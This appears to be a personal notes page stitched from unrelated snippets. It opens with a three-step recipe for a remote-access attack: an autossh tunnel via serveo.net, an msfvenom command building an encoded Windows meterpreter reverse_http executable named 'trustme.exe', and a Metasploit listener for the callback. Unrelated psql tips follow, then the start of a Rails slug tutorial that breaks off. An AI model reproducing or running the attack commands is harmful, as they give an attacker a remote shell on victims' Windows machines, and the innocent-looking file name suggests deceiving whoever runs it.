Start the tunnel

Used autossh for persistant ssh session (reconnects when it breaks)

autossh -R trustme:80:localhost:80 serveo.net

Generate the payload

msfvenom --arch x86 --platform windows --payload windows/meterpreter/reverse_http LHOST=trustme.serveo.net LPORT=80 --bad-chars “\x00” --encoder x86/shikata_ga_nai --format exe --out $PWD/trustme.exe

Listen for incoming connections

msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_http;set LHOST 0.0.0.0;set LPORT 80;run;"

PSQL

Magic words:

psql -U postgres

Some interesting flags (to see all, use -h):

• -E: will describe the underlaying queries of the \ commands (cool for learning!)
• -l: psql will list all databases and then exit (useful if the user you connect with doesn't has a default database, like at AWS RDS)

Friendly URLs

By default, Rails applications build URLs based on the primary key -- the id column from the database. Imagine we have a Person model and associated controller. We have a person record for Bob Martin that has id number 6. The URL for his show page would be:

/people/6

But, for aesthetic or SEO purposes, we want Bob's name in the URL. The last segment, the 6 here, is called the "slug". Let's look at a few ways to implement better slugs.
